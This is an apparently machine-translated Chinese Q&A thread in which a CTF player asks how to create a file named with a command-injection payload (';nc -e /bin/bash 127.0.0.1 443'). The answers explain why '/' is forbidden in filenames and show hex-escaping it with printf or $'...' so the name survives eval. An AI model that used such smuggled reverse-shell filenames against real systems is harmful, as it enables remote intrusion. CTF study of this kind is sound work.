我正在玩 CTF,我想;nc -e /bin/bash 127.0.0.1 443
使用命令 touch 创建一个具有名称的文件,但失败了。
我可以创建一个名为的文件,;nc -e 127.0.0.1 443
没有问题,编写类似的内容touch -- \;nc\ \-e\ 127\.0\.0\.1\ \4\4\3
,但我不能包含,/bin/bash
即使我做了类似的touch -- \;nc\ \-e\ \/\b\i\n\/\b\a\s\h\ 127\.0\.0\.1\ \4\4\3
响应touch: cannot touch ';nc -e /bin/bash 127.0.0.1 443': No such file or directory
我做错了什么?
答案1
Unix 上的文件名不能包含该字符,/
因为这是路径分隔符。
路径名
;nc -e /bin/bash 127.0.0.1 443
bash 127.0.0.1 443
将引用目录 中调用的文件bin
,该文件又是 的子目录;nc -e
(末尾有一个空格)。
该/
字符是 Unix 文件名中仅有的两个不允许使用的字符之一。另一个是 nul 字符(ASCII 0 或\0
)。文件名中不允许使用 nul 字符,因为它是字符串终止符。
另请注意,单引号复杂的文件名比转义所需的符号更容易:
touch ';nc -e 127.0.0.1 443'
答案2
我想
;nc -e /bin/bash 127.0.0.1 443
使用命令 touch创建一个名为的文件
文件名是否将eval
作为其他脚本的一部分?
在这种情况下,您可能需要找到$'...'
引用或printf
有用的形式:
$ echo $'\x2fbin\x2fbash'
/bin/bash
$ printf "\x2fbin\x2fbash"
/bin/bash
现在我将把它作为练习来弄清楚如何在文件名中使用它们。